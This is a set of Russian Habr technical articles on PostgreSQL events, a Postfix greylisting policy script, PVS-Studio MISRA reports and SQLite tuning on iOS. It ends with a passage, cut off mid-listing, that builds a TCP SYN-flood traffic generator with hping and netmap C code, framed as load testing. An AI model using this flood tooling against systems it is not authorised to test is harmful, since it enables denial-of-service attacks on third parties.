[Внутренняя жизнь ваших запросов PostgreSQL. Как и зачем «подглядывать» в подробности](https://event.infostart.ru/2022/agenda/1688104/) (*Екатерина Соколова*, Postgres Professional) — как? при помощи представления [pg\_stat\_progress\_\*](https://postgrespro.ru/docs/postgresql/15/progress-reporting), модуля [pg\_query\_state](https://postgrespro.ru/docs/postgrespro/15/pg-query-state) и других средств.
**[PGConf.Cибирь 2022](https://pgconf.ru/202210)**
Прошла в Новосибирске 24-го октября. Видеозаписи докладов скоро появятся на сайте мероприятия (слайды уже есть), а пока можно ознакомиться с итогами в [публикации Интерфакса](https://www.interfax.ru/events/news/870298).
А за день до этого была [PGStart.Новосибирск](https://pgconf.ru/20221023) — встреча для студентов Новосибирска с основателями компании Postgres Professional *Иваном Панченко* и *Фёдором Сигаевым*.
Это турне Postgres Professional закончилось на [PGMeetup.Барнаул](https://pgconf.ru/20221026). Там выступили *Пётр Петров*, *Иван Панченко* и *Павел Лузанов*.
**[Highload++ 2022](https://highload.ru/moscow/2022)**
Начнётся совсем скоро — 24-25 ноября в Крокус Экспо. Докладов и потоков очень много. Вот примеры докладов в этом году:
**[Репликация между SQL- и NoSQL-базами данных: туда и обратно](https://highload.ru/moscow/2022/abstracts/9385)** — *Александр Горякин* (Tarantool, VK) расскажет о там, как безболезненно переносить данные между реляционными и NoSQL базами.
**[Балансировка нагрузки в мульти-эксабайтном сторадже](https://highload.ru/moscow/2022/abstracts/9582)** — *Вадим Зотеев* (Яндекс) — в мультиэкзабайтном, Карл!
**[Аномальные случаи высокой нагрузки в PostgreSQL, и как мы с ними справились](https://highload.ru/moscow/2022/abstracts/9659)** — *Михаил Жилин*
(Postgres Professional) обещает рассказать о том, почему index scan / index only scan могут тормозить при адекватном плане запроса; что за странные ожидания LWLock'а SubtransControlLock или ClientRead видны в pg\_stat\_activity и о многом другом.
**[Prague PostgreSQL Developer Day 2023](https://p2d2.cz/)**
Должна пройти в Праге 31-го января — 1-го февраля 2023 в Праге. Присылать заявки [сюда](https://p2d2.cz/call-for-papers).
**[PGConf India, 2023](https://pgconf.in)**
Организатор — India PostgreSQL User Group. Должна пройти в Бангалоре 22-24 февраля 2023.
**[SCaLe 20x](https://www.socallinuxexpo.org/blog/scale-20x)**
Это не постгресовая конференция, а опенсорсная, самая большая в Северной Америке. Пройдёт 9-12 марта 2023 в [Пасадене](https://ok.ru/video/2101086955) (около Лос Анджелеса). [регистрация](https://register.socallinuxexpo.org/reg6/).
*На этом пока всё*. | https://habr.com/ru/post/694996/ | null | ru | null |
# Внешние правила доступа в Postfix на примере front-end к GLD
Так получилось, что в организации, где я работаю, в качестве почтового сервера используется Postfix. В связке с ним используются средства для фильтрации спама и вирусов Spamassassin, Amavisd-new и ClamAV. В дополнение ко всему этому реализован greylisting с использованием [GLD](http://www.gasmi.net/progs.php). Последний прост в настройке «легок» в работе, но из этого вытекает один недостаток — недостаточно гибок. Дабы побороть это я обратил взор на интересную фичу Postfix — [Postfix SMTP Access Policy Delegation](http://www.postfix.org/SMTPD_POLICY_README.html). Информации на великом и могучем по этой теме мало. Кому интересно как добавить свои проверки до передачи данных к GLD или как реализовать свои «внешние» правила в Postfix с использованием любимых или просто привычных языков и средств — прошу под кат.
#### Вводная
Началось все с того, что часть пользователей все настойчивей стала жаловаться на строгость антиспам фильтра. Требовали отключить все проверки аргументируя это тем, что они готовы получать весь спам лишь бы не терять ни единого письма. Наше дело админское, надо так надо. И вот тут выяснилось, что в amavisd-new это реализуется просто, а вот в GLD такой возможности нет. Там есть whitelist, но он основан на данных отправителя, я так до конца не разобрался работает ли он с адресами получателя потому как мне все равно хотелось держать один whitelist в одном месте а не заниматься поддержкой двух сразу. Да и задачи могут меняться и на будущее мне все равно была нужна некая прослойка между Postfix и GLD чтобы я мог реализовать в ней все что мне захочется.
#### Теория
Памятуя, как работает GLD (через сетевой сокет, слушает порт 2525), я изучил механизм **check\_policy\_service** и вот что получается. Postfix передает данные SMTP сессии по указанному в директиве адресу. Если писать свой демон, слушающий сокет, не хочется, у Postfix есть средство — демон [spawn](http://www.postfix.org/spawn.8.html), который работает наподобие inetd. Он сам слушает нужные сокеты и передает все что получает на указанный транспорт.
Данные имеют формат **name=value** по одной на строку, окончание пакета данных обозначается пустой строкой. Ответ должен состоять из одной строки вида **action=value** за которой также должна следовать пустая строка. **action** может принимать как стандартные для Postfix-овских списков **OK** или **REJECT**, так и **DUNNO** что значит продолжать проверку другими фильтрами, этот работу закончил или **DEFER\_IF\_PERMIT Some text...** который приведет к отклонению письма с кодом 450 и ответом Some text…
Согласно официальной документации, данные, поступающие на STDIN транспорта, имеют следующий вид:
```
Postfix version 2.1 and later:
request=smtpd_access_policy
protocol_state=RCPT
protocol_name=SMTP
helo_name=some.domain.tld
queue_id=8045F2AB23
sender=foo@bar.tld
recipient=bar@foo.tld
recipient_count=0
client_address=1.2.3.4
client_name=another.domain.tld
reverse_client_name=another.domain.tld
instance=123.456.7
Postfix version 2.2 and later:
sasl_method=plain
sasl_username=you
sasl_sender=
size=12345
ccert_subject=solaris9.porcupine.org
ccert_issuer=Wietse+20Venema
ccert_fingerprint=C2:9D:F4:87:71:73:73:D9:18:E7:C2:F3:C1:DA:6E:04
Postfix version 2.3 and later:
encryption_protocol=TLSv1/SSLv3
encryption_cipher=DHE-RSA-AES256-SHA
encryption_keysize=256
etrn_domain=
Postfix version 2.5 and later:
stress=
Postfix version 2.9 and later:
ccert_pubkey_fingerprint=68:B3:29:DA:98:93:E3:40:99:C7:D8:AD:5C:B9:C9:40
[empty line]
```
#### К делу
Итак, вооружаемся инструментом. Лично мне привычней Perl. Если Вы любите и умеете читать чужие perl сорцы можете закрывать вкладку с этой статьей и переходить к изучению [greylist.pl](http://opensource.apple.com/source/postfix/postfix-144/postfix/examples/smtpd-policy/greylist.pl) из состава примеров, поставляемых с Postfix. Тем более он, как и положено грамотному примеру, написан понятно, с отступами и комментариями. Мы же переходим к настройке Postfix.
##### Postfix
Делается все по заветами оф. документации. Сначала правим master.cf добавляя в его конец наш новый транспорт:
```
# Greylist policy daemon filter
gld unix - n n - 0 spawn
user=nobody argv=/home/bender/scripts/gld.pl
```
Это просто описание, для того, чтобы задействовать этот транспорт пишем в main.cf следующее:
```
smtpd_recipient_restrictions =
...
reject_unauth_destination,
check_policy_service unix:private/gld
gld_time_limit = 3600
```
Обратите внимание, **reject\_unauth\_destination** должно стоять ДО вашего **check\_policy\_service**.
##### Perl
Сначала, я приведу каркас скрипта, на его основе Вы, дочитавший до сюда, сможете сделать все, что Вам потребуется.
```
#!/usr/bin/perl
$dump = '';
$defaultAction = 'DUNNO';
# Отключаем буферизацию вывода.
select((select(STDOUT), $| = 1)[0]);
#####################################################################
# Основной цикл
#####################################################################
while ()
{
if ($\_ eq "\n")
{
# Данные получены, обрабатываем
if (meetSomeReq($dump))
{
# Обработка закончена, возвращаем DUNNO
print STDOUT "action=$defaultAction\n\n";
}
else
{
# Отклоняем письмо
print STDOUT "action=DEFER\_IF\_PERMIT Service temporary unavailable\n\n";
}
$dump = '';
}
else
{
# Сохраняем поступающие данные
$dump .= $\_;
}
}
#####################################################################
# Функции
#####################################################################
sub meetSomeReq
{
my $dump = shift();
my $line = '';
my %param = ();
my $result = 1;
# Конвертируем данные, полученные от Postfix в хэш
foreach $line (split(/\n/, $dump))
{
chomp($line);
my ($key, $val) = split(/=/, $line);
$param{$key} = $val;
}
# Делаем что-то и меняем на основе этого значение $result при необходимости
return $result;
}
```
#### Результат
Теперь для тех, кого заинтересовала тема не в общем, а именно мой случай (посредничество между Postfix и GLD или ему подобными) я привожу полный текст получившегося (и реально работающего) у меня скрипта:
```
#!/usr/bin/perl
use IO::Socket;
use DBI;
my $dbh = DBI->connect("DBI:mysql:host=localhost;database=amavisd", "amavisadmin", "amavisadminpw") or die "Couldn't connect to server !$ \n";
$dump = '';
$defaultAction = 'DUNNO';
# Unbuffer standard output.
select((select(STDOUT), $| = 1)[0]);
#####################################################################
# Main loop
#####################################################################
while ()
{
if ($\_ eq "\n")
{
if (inWhiteList($dump))
{
print STDOUT "action=$defaultAction\n\n";
}
else
{
print STDOUT passToGLD($dump);
}
$dump = '';
}
else
{
$dump .= $\_;
}
}
$dbh->disconnect();
#####################################################################
#
# Subs
#
#####################################################################
sub passToGLD
{
my $dump = shift();
$dump .= "\n\n";
my $sock = new IO::Socket::INET(
PeerAddr => '127.0.0.1',
PeerPort => '2525',
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
print $sock $dump;
$resp = <$sock>;
close($sock);
return $resp."\n";
}
sub inWhiteList
{
my $dump = shift();
my $line = '';
my %param = ();
my $result = 1;
my $maxSize = 65536;
#
# Convert text dump to hash
#
foreach $line (split(/\n/, $dump))
{
chomp($line);
my ($key, $val) = split(/=/, $line);
$param{$key} = $val;
}
#
# Check user's policy
#
if ($param{'size'} < $maxSize) # Pass large mails without check
{
my ($user, $domain) = split(/@/, $param{'recipient'});
my $qry = "SELECT count(email) FROM users WHERE policy\_id='3' AND (email=? OR email=?)";
my $sth = $dbh->prepare($qry);
$sth->execute($param{'recipient'}, '@'.$domain);
my @row = $sth->fetchrow\_array();
$sth->finish();
$result = $row[0];
}
return $result;
}
```
#### Заключение
Только в процессе написания статьи я начал задумываться об отказе от GLD и развитии скрипта как его заместителя. Хоть GLD и написан на Си, но все таки использует MySQL для хранения данных, так что выигрыш в производительности не так уж и велик. Ну и последнее обновление в мае 2006 года говорит о том, что проект не совсем жив. Интересно кто-нибудь кроме меня им пользуется?
В общем жду комментариев. И да простят меня нелюбители длинных текстов! Я и сам такой. | https://habr.com/ru/post/153463/ | null | ru | null |
# Зачем нужен отчёт MISRA Compliance и как его получить в PVS-Studio?
Если вы не понаслышке знаете о MISRA и хотели бы понимать, соответствует ли ваш проект какому-то из стандартов ассоциации MISRA, то есть решение. Имя ему - MISRA Compliance. С недавних пор PVS-Studio научился генерировать отчёт соответствия по этому стандарту, и хочется поделиться тем, как это делается. Возможно, кому-то это упростит жизнь.
Если вам больше хочется посмотреть об отчете MISRA Compliance, то для вас доступно [видео](https://www.youtube.com/watch?v=pPDB5YGB9vI&ab_channel=NR.electronics).
### Что такое MISRA Compliance
[MISRA Compliance](https://www.misra.org.uk/app/uploads/2021/06/MISRA-Compliance-2020.pdf) – это стандарт, который позволяет понять, соответствует ли ваш проект стандарту MISRA C\C++ с учетом всех отклонений и рекатегоризаций. MISRA Compliance применим ко всем стандартам ассоциации MISRA, но в данной статье мы рассмотрим его использование на примере стандарта MISRA C 2012.
В руководящих принципах MISRA C 2012 признаётся, что в некоторых ситуациях соблюдение требований неоправданно или даже невозможно. В случаях отклонений от правил всё должно быть задокументировано. Однако после может быть проблематично понять, соответствует ли в итоге программа данному стандарту. Здесь на помощь и приходит стандарт MISRA Compliance.
### Правила получения MISRA Compliance
Основное, что нужно сделать, – это понять, соответствует ли ваш проект MISRA C 2012 или нет. Для этого нам необходимо получить GCS (Guideline Compliance Summary). GCS включает запись для каждого руководства и регистрирует уровень соответствия им, как это разрешено его категорией MISRA. Проще говоря, нам нужно отобразить номер правила, его категорию и информацию о соответствии с ним. Вот пример как это должно выглядеть:
Номер правила и его категория по умолчанию берутся из стандарта. Однако MISRA Compliance позволяет изменять (рекатегоризировать) уровень руководящих принципов, хоть это и не обязательно. Делается это каждым конкретным пользователем для конкретного проекта в соответствии с GRP (Guideline Re-categorization Plan). GRP – это такой допустимый набор преобразований из одного уровня в другой. Вот так это выглядит в виде таблицы:
И чтобы было проще, давайте на примере. Допустим у нас есть правило 1.1, у которого уровень равен Required. Согласно таблице, мы можем повысить уровень предупреждения до Mandatory или оставить его неизменным. Это отображено зелеными ячейками. При этом понижение уровня до Advisory или Disapplied не допускается. Это отображено красными ячейками.
На основе получившихся категорий для правил можно указывать соответствия. Возможные варианты соответствий для MISRA-категорий выглядят так:
Эта таблица используется для того, чтобы сказать, соответствует ли ваш проект стандарту MISRA C 2012. А конкретно, если у вас есть хотя бы одно соответствие, которое попадает в красную секцию (таблица выше), то вы не соответствуете стандарту.
Чтобы было проще, давайте опять для наглядности возьмём правило 1.1 со стандартным значением категории, равной Required. Смотрим в таблицу и видим, что допустимые значения соответствия для Required – это Compliance или Deviations (чуть подробнее о смысле этих статусов будет в пункте ниже). То есть, если в ваш проект соответствует правилу 1.1, либо соответствует, но с отклонениями, то все хорошо и можно смотреть следующее правило. Если есть хотя бы одно соответствие с Violations или Disapplied, то проект не соответствует MISRA C 2012. Если все правила имеют только допустимые значения, то поздравляю, ваш проект соответствует стандарту MISRA C 2012. Если у вас есть соответствие, которое попадает в красную секцию (таблица выше), то вы не соответствуете стандарту.
Собственно, это все основные вещи, которые нужно знать для генерации MISRA Compliance отчёта.
### Генерация отчета MISRA Compliance в PVS-Studio
Чтобы сгенерировать отчет, нужно воспользоваться утилитой [PlogConverter.exe](https://github.com/viva64/PlogConverter-MSBuild-VS) или [plog-converter](https://github.com/viva64/plog-converter) на Windows и Unix соответственно. Данные утилиты также распространяются в составе дистрибутивов. На момент написания статьи PVS-Studio умеет выдавать отчёт соответствия только для стандарта MISRA C 2012. Также весь описанный здесь функционал будет доступен с версии PVS-Studio 7.15 либо запросите [бета](https://pvs-studio.com/ru/about-feedback/?is_question_form_open=true) версию.
Для генерации отчёта MISRA Compliance необходимо выполнить анализ. Как это сделать на Windows, можно почитать вот [тут](https://pvs-studio.com/ru/docs/manual/0007/), а для Unix - [тут](https://pvs-studio.com/ru/docs/manual/0036/). Обратите внимание, что вам следует включить **все** диагностики, связанные с MISRA. Иначе вы добровольно уменьшаете покрытие MISRA-правил. Как проверить, включены ли все правила, описано в предоставленных ссылках на документацию про анализ.
Затем используем одну из утилит конвертации отчёта. Пример запуска PlogConverter.exe:
```
"C:\Program Files (x86)\PVS-Studio\PlogConverter.exe" "path_to_report_file" \
-t MisraCompliance -o "path_to_MISRA_report" --grp "path_to_grp.txt"
```
И пример команды для plog-converter:
```
plog-converter "path_to_report_file" -t misra_compliance \
-o "path_to_MISRA_report" --grp "path_to_grp.txt"
```
Сам отчёт представляет собой html-страницу, которая удобно подходит для печати. Вот пример отчёта, когда проект не соответствует MISRA C 2012:
Отчёт, когда проект соответствует MISRA C 2012:
Итак, пройдемся по столбцам:
* **Guideline** содержит номера правил и директив стандарта MISRA C;
* **Category** содержит категорию правила или директивы, указанную в стандарте;
* **Recategorication** содержит категорию после рекатегоризации в соответствии с GRP;
* **Compliance** содержит статус соответствия проверяемого кода правилу. Красным цветом выделено то, что мешает соответствию стандарту MISRA C 2012.
В нашем случае GRP представляет собой *txt*-файл. Пример содержания файла с допустимыми переходами:
```
Rule 2.1 = Mandatory
Rule 8.13 = Required
Directive 4.3 = Mandatory
Rule 2.6 = Disapplied
```
Если этот файл содержит понижение категории, то утилита выдаст сообщение об ошибке и не сгенерирует отчёт. Исключением является Advisory-категория, которая может понижаться до Disapplied. Если что, то вот так располагаются категории от наиболее важной к наименее важной:
Статусы соответствия проверяемого кода означают следующее:
* **Compliant** – в проекте нет отклонений по данному правилу;
* **Deviations** – отклонения от правила обнаружены и задокументированы. Чтобы утилита поняла про необходимость игнорирования конкретного предупреждения, его следует разметить как ложное ([Mark as False Alarm](https://pvs-studio.com/ru/docs/manual/0017/)). В скобочках указывается число подтвержденных отклонений;
* **Violations** – существует хотя бы одно отклонение от правила, которое не было задокументировано. В скобочках указывается число таких отклонений. Если кроме Violations для правила есть и Deviations-предупреждения, то будут отображены оба статуса;
* **Disapplied** – категория выключена и никак не будет учитываться. Применимо только к Advisory-категориям;
* **Not Supported** – данное правило не поддерживается анализатором. На момент написания статьи PVS-Studio уже покрыло 60% стандарта MISRA C 2012. Но мы на этом не останавливаемся и планируем к концу года повысить этот показатель до 85%. О текущем положении дел с MISRA вы можете почитать вот [тут](https://habr.com/ru/company/pvs-studio/blog/579420/).
Ну и самое главное – это заключение о соответствии или несоответствии проекта стандарту MISRA C 2012. Код соответствует стандарту, если:
* Все Mandatory-правила имеют статус Compliant;
* Все Required-правила имеют статус Compliant и\или Deviations;
* Advisory-правила могут иметь любой статус;
* Disapplied-правила игнорируются.
### Заключение
Не стесняйтесь пробовать новый отчёт. Если возникнут какие-либо трудности, проблемы или пожелания, то обязательно напишите [нам в поддержку](https://pvs-studio.com/misra-compliance).
### Дополнительные ссылки
1. [Что такое MISRA и как её готовить](https://pvs-studio.com/ru/blog/posts/cpp/0702/).
2. [Классификация предупреждений PVS-Studio согласно стандартам: MISRA C, MISRA C++](https://pvs-studio.com/ru/pvs-studio/sast/misra/).
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikolay Mironov. [Why do you need the MISRA Compliance report and how to generate one in PVS-Studio?](https://habr.com/en/company/pvs-studio/blog/576436/). | https://habr.com/ru/post/576440/ | null | ru | null |
# Оптимизация работы с SQLite под iOS
> *“Think of SQLite not as a replacement for Oracle but as a replacement for fopen()”*
>
> — About SQLite
>
>
А также, скорее всего, под Android, BlackBerry и в сэнд-боксе браузеров для веб-приложений, но я не проверял.
Почему может быть нужно работать с SQLite напрямую?
===================================================
Любой опытный iOS девелопер тут же упрекнёт меня за использование SQLite напрямую (вернее не напрямую, а через FmDb, но это почти всё равно что напрямую). Он скажет, что нужно использовать CoreData, т.к. оно много всяких ништяков делает автоматически, типа Undo и Redo. И в нём можно рисовать красивые схемки, которые потом приятно показывать заказчику. А в андроиде, например, есть OrmLite.
И я соглашусь – но до той поры, пока у вас база не перевалила, скажем, за 10 таблиц по 500,000 записей в каждой. А если таблиц 52, и есть особо жирные таблицы по миллиону и больше? И базу нужно синхронизировать с сервером через третий формат, к тому же заказчику критично, будет синхронизация длиться час или пять? Если вы встречали задачи такого объёма, добро пожаловать под кат! Если не встречали – то тоже, ведь никто не застрахован от проектов с большими данными, пускай даже таких мобильных и меньше.
Очерёдность операторов запроса
==============================
Дело в том, что, когда нас учат работать с базой данных, нас в большинстве случаев учат работать с лучшими из энтерпрайз решений. Меня, например, в институте учили на Oracle, кого-то – на MS SQL. Но SQLite в разы проще – это, например, следует из эпиграфа к статье, взятого с [официального сайта](http://www.sqlite.org/about.html) SQLite.
Совершенно случайно я обратил внимание, что
`SELECT * FROM tablename WHERE col1 LIKE ‘%string%’ AND col2 = 123456`
работает в 3-4 раза медленнее чем
`SELECT * FROM tablename WHERE col2 = 123456 AND col1 LIKE ‘%string%’`
на таблице из, скажем, 300,000 записей. Мы просто поменяли операторы местами, а как изменился результат!
В учебниках по базам данных, скорее всего, даже не акцентируют внимания на таких особенностях, и правильно делают – во всех энтерпрайз решениях есть оптимизаторы запросов. К примеру, на MS SQL Server 2008 Web Edition на тех же данных и тех же запросах разницы никакой.
Но на SQLite есть. Это нужно помнить. В мире SQLite более “простые” операции всегда должны идти левее более “сложных”.
Базу SQLite тоже можно и нужно индексировать
============================================
Думая об SQLite как об альтернативе fopen, базе без хранимых процедур, семафоров и юзеров, забываешь, что она, как и любая нормальная база, поддерживает индексы. Про них столько написано, что не стоит заострять внимания на синтаксических особенностях – просто запомните, что как только размер базы превысит 50,000 строк – её нужно проиндексировать. А при использовании сложных запросов – и раньше.
Позволю себе только маленькое замечание – индексирование лучше всего проводить после того, как написаны основные запросы, на основе их анализа. При проектировании БД, когда девелопер ещё не знает назубок всю бизнес-логику приложения, он может заблуждаться относительно того, по какому полю будет чаще всего происходить поиск/выборка. Однако имея SQL-запросы перед глазами, написать правильный индекс ничего не стоит.
Если часто делаете выборку по нескольким таблицам, имеет смысл закешировать данные
==================================================================================
На одном из проектов нужно было каждый раз на старте приложения просить пользователя выбрать автомобиль, с которым он хочет работать. Для того, чтобы составить полное описание машины, нужно было обратиться к нескольким таблицам:* Год выпуска
* Производитель
* Модель
* Комплектация
* Некоторые иные технические характеристики, которые заказчик пожелал показывать при выборе машины. Например, MPG (miles per gallon, аналог наших километров на литр).
Делая запрос по пяти таблицам и составляя список машин, мы затормозили айфон до отклика 6-8 секунд на каждом пикере. Выхода два – можно при первом запуске (у нас – при синхронизации) либо составлять представление со всеми возможными данными, либо, если удобнее, сохранять объекты с данными прямо на жёсткий диск. Тоже один раз, в удобный момент, когда пользователь знает о задержке и готов подождать.
Объекты бывает удобнее сохранять, если в представление пришлось бы для каждой, скажем, машины включить несколько полей из таблицы комплектации. В базе это привело бы к неизбежному дублированию строк (при связи один ко многим на несколько строк параметров комплектации пришлось бы создавать несколько одинаковых строк с ID автомобиля и другими параметрами), а в объекте все данные будут храниться в одном экземпляре.
SQLite – однопоточная база
==========================
Не связано напрямую с оптимизацией, но об этом также не стоит забывать. Обращение к SQLite базе из двух потоков одновременно неизбежно вызовет краш. Выхода два:
* Синхронизируйте обращения при помощи директивы @synchronized. Это если поздно менять архитектуру, как было у меня;
* Если задача закладывается на этапе проектирования, завести менеджер запросов на основе NSOperationQueue. Он страхует от ошибок автоматически, а то, что делается автоматически, часто делается без ошибок.
Вообще, обращаться к базе всегда лучше из второстепенных потоков, даже если UI-ный поток ничего не делает, кроме прокрутки индикатора ожидания. Время на написание методов делегата и асинхронизацию бизнес-логики с лихвой окупится положительным user experience.
Вывод
=====
Всё, что я перечислил выше, было лишь частными случаями. Нету универсального таска оптимизации, который можно заэстимировать в 1.5 дней или 10% от общего времени проекта. Этим приходится заниматься по мере необходимости. Главное правило, которое всегда помогало мне правильно выбрать путь оптимизации – **время, затраченное на выборку, не должно увеличиваться с ростом размера базы кроме особых случаев**. Оно должно оставаться примерно одинаковым как на ста записях, так и на ста тысячах.
И ещё одно правило, любимая фраза моего начальника – не оптимизируйте то, что не нуждается в оптимизации. Зачастую юзеру не важно, будет ваш код выполняться одну миллисекунду или сто, а заказчику важно, задержали вы проект на день или сдали вовремя. | https://habr.com/ru/post/135337/ | null | ru | null |
# TCP(syn-flood)-netmap-generator производительностью 1,5 mpps
**Дано:**
```
# pciconf -lv | grep -i device | grep -i network
device = I350 Gigabit Network Connection
# dmesg | grep CPU:
CPU: Intel(R) Core(TM)2 Duo CPU E7300 @ 2.66GHz (2666.69-MHz K8-class CPU)
# uname -orp
FreeBSD 9.1-RELEASE amd64
```
**Задача:**
Необходимо на данном оборудовании и ОС создать нагрузочную вилку в виде tcp(syn)-генератора трафика производительностью не менее 500kpps.
**Решение:**
В первом приближении была предпринята попытка использовать [hping](http://www.hping.org/).
Собираем с поддержкой tcl. Пишем небольшой скрипт:
```
while {1} {
hping send "ip(saddr=10.0.0.1,daddr=10.0.0.2)+tcp(sport=14000,dport=80,flags=s)"
}
```
Запускаем:
```
# hping exec ./synflood1.htcl
```
Смотрим производительность:
```
# netstat -w1 -I igb0
input (igb0) output
packets errs idrops bytes packets errs bytes colls
21384 0 0 1283040 21582 0 1165428 0
21264 0 0 1275840 21464 0 1159056 0
21361 0 0 1281660 21559 0 1164186 0
```
Запущенные 10 экземпляров смогли «раскачать» до 55kpps, при этом оба ядра были утилизированы.
```
# top -PSCH
last pid: 1691; load averages: 10.02, 6.83, 3.32 up 0+00:59:11 12:31:18
125 processes: 13 running, 86 sleeping, 26 waiting
CPU 0: 77.2% user, 0.0% nice, 17.1% system, 5.7% interrupt, 0.0% idle
CPU 1: 76.4% user, 0.0% nice, 10.6% system, 13.0% interrupt, 0.0% idle
```
Тюнинг системы позволил ещё немного увеличить скорострельность, но итоговые цифры остановились на ~125kpps.
Полученный результат не соответствует требованиям. Во втором приближении рассмотрим фреймворк [netmap](http://info.iet.unipi.it/~luigi/netmap/) от Luigi Rizzo активно афишируемый в обзорах 9-ки, но обсуждения и результатов его практического применения в рунете я не обнаружил.
Для работы необходимо пересобрать ядро с параметром:
```
device netmap
```
За основу взят код исходников от самого автора с добавлением в оный формирования tcp-пакета. Приводится полностью работоспособный, без купюр.
**tcp-gen.c**
```
/*
* Пример создания многопоточного
* tcp-генератора на основе netmap
*/
const char *default_payload =
"netmap pkt-gen Luigi Rizzo and Matteo Landi\n" "http://info.iet.unipi.it/~luigi/netmap/ ";
#include /\* pthread\_\* \*/
#include /\* pthread w/ affinity \*/
#include
#include
#include /\* PRI\* macros \*/
#include /\* strcmp \*/
#include /\* open \*/
#include /\* close \*/
#include /\* getifaddrs \*/
#include /\* PROT\_\* \*/
#include /\* ioctl \*/
#include
#include /\* ntohs \*/
#include /\* sysctl \*/
#include
#include /\* ifreq \*/
#include /\* LLADDR \*/
#include
#include
#include
#include
#include
static inline int min(int a, int b) {
return a < b ? a : b;
}
/\* debug support \*/
#define D(format, ...) \
fprintf(stderr, "%s [%d] " format "\n", \
\_\_FUNCTION\_\_, \_\_LINE\_\_, ##\_\_VA\_ARGS\_\_)
#ifndef EXPERIMENTAL
#define EXPERIMENTAL 0
#endif
#define MAX\_QUEUES 64 /\* no need to limit \*/
#define SKIP\_PAYLOAD 1 /\* do not check payload. \*/
inline void prefetch(const void \*x) {
\_\_asm volatile("prefetcht0 %0" :: "m"(\*(const unsigned long \*)x));
}
/\*
\* sum\_w()
\*
\* Do the one's complement sum thing over a range of words
\* Ideally, this should get replaced by an assembly version.
\*/
static u\_int32\_t
/\* static inline u\_int32\_t \*/
sum\_w(u\_int16\_t \*buf, int nwords) {
register u\_int32\_t sum = 0;
while (nwords >= 16) {
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
sum += (u\_int16\_t) ntohs(\*buf++);
nwords -= 16;
}
while (nwords--)
sum += (u\_int16\_t) ntohs(\*buf++);
return (sum);
}
int tcp\_csum(struct ip \*ip, struct tcphdr \* const tcp) {
// struct tcphdr \*const tcp = (struct tcphdr \*) ((long \*) ip + ip->ip\_hl);
u\_int32\_t sum;
int tcp\_len;
/\* Calculate total length of the TCP segment \*/
tcp\_len = (u\_int16\_t) ntohs(ip->ip\_len) - (ip->ip\_hl << 2);
/\* Do pseudo-header first \*/
sum = sum\_w((u\_int16\_t\*)&ip->ip\_src, 4);
sum += (u\_int16\_t) IPPROTO\_TCP;
sum += (u\_int16\_t) tcp\_len;
/\* Sum up tcp part \*/
sum += sum\_w((u\_int16\_t\*) tcp, tcp\_len >> 1);
if (tcp\_len & 1)
sum += (u\_int16\_t)(((u\_char \*) tcp)[tcp\_len - 1] << 8);
/\* Flip it & stick it \*/
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
sum = ~sum;
tcp->th\_sum = htons(sum);
return tcp->th\_sum;
}
// XXX only for multiples of 32 bytes, non overlapped.
static inline void pkt\_copy(void \*\_src, void \*\_dst, int l) {
uint64\_t \*src = \_src;
uint64\_t \*dst = \_dst;
#define likely(x) \_\_builtin\_expect(!!(x), 1)
#define unlikely(x) \_\_builtin\_expect(!!(x), 0)
if (unlikely(l >= 1024)) {
bcopy(src, dst, l);
return;
}
for (; l > 0; l -= 64) {
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
\*dst++ = \*src++;
}
}
struct pkt {
struct ether\_header eh;
struct ip ip;
struct tcphdr tcp;
uint8\_t body[2048]; // XXX hardwired
} \_\_attribute\_\_((\_\_packed\_\_));
/\*
\* global arguments for all threads
\*/
struct glob\_arg {
const char \*src\_ip;
const char \*dst\_ip;
const char \*src\_mac;
const char \*dst\_mac;
int pkt\_size;
int burst;
int nthreads;
int cpus;
};
struct mystat {
uint64\_t containers[8];
};
/\*
\* Arguments for a new thread. The same structure is used by
\* the source and the sink
\*/
struct targ {
struct glob\_arg \*g;
int used;
int completed;
int fd;
struct nmreq nmr;
struct netmap\_if \*nifp;
uint16\_t qfirst, qlast; /\* range of queues to scan \*/
uint64\_t count;
struct timeval tic, toc;
int me;
pthread\_t thread;
int affinity;
uint8\_t dst\_mac[6];
uint8\_t src\_mac[6];
u\_int dst\_mac\_range;
u\_int src\_mac\_range;
uint32\_t dst\_ip;
uint32\_t src\_ip;
u\_int dst\_ip\_range;
u\_int src\_ip\_range;
struct pkt pkt;
};
static struct targ \*targs;
static int global\_nthreads;
/\* control-C handler \*/
static void sigint\_h(\_\_unused int sig) {
for (int i = 0; i < global\_nthreads; i++) {
/\* cancel active threads. \*/
if (targs[i].used == 0)
continue;
D("Cancelling thread #%d\n", i);
pthread\_cancel(targs[i].thread);
targs[i].used = 0;
}
signal(SIGINT, SIG\_DFL);
}
/\* sysctl wrapper to return the number of active CPUs \*/
static int system\_ncpus(void) {
int mib[2], ncpus;
size\_t len;
mib[0] = CTL\_HW;
mib[1] = HW\_NCPU;
len = sizeof(mib);
sysctl(mib, 2, &ncpus, &len, NULL, 0);
return (ncpus);
}
/\*
\* locate the src mac address for our interface, put it
\* into the user-supplied buffer. return 0 if ok, -1 on error.
\*/
static int source\_hwaddr(const char \*ifname, char \*buf) {
struct ifaddrs \*ifaphead, \*ifap;
int l = sizeof(ifap->ifa\_name);
if (getifaddrs(&ifaphead) != 0) {
D("getifaddrs %s failed", ifname);
return (-1);
}
for (ifap = ifaphead; ifap; ifap = ifap->ifa\_next) {
struct sockaddr\_dl \*sdl = (struct sockaddr\_dl\*)ifap->ifa\_addr;
uint8\_t \*mac;
